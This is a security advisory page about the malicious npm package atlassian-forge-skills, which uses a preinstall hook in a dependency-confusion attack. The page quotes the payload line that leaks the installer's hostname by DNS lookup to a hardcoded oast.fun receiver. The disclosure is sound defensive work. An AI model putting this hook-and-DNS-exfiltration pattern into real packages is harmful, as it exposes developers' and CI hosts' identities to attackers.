atlassian-forge-skillsnpm
Malicious code in atlassian-forge-skills (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package impersonates an internal Atlassian Forge dependency (unscoped name atlassian-forge-skills, description 'Internal package', generic author 'Team'). package.json declares "preinstall": "node index.js", which fires automatically on npm install. index.js lines 6-8 read os.hostname() and embed it as a subdomain of a hardcoded interactsh OAST receiver: const targetDomain = ${hostname}.zcagyqqmvnmgsklstrrr6xo2715tov7wz.oast.fun; dns.lookup(targetDomain, () => {});. The DNS lookup is sufficient to leak the installer's hostname to the attacker-controlled oast.fun DNS server — the canonical dependency-confusion payload, where any developer or CI pipeline that mistakenly resolves an internal Atlassian package name to this public registry entry exposes host identity for follow-on targeting.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection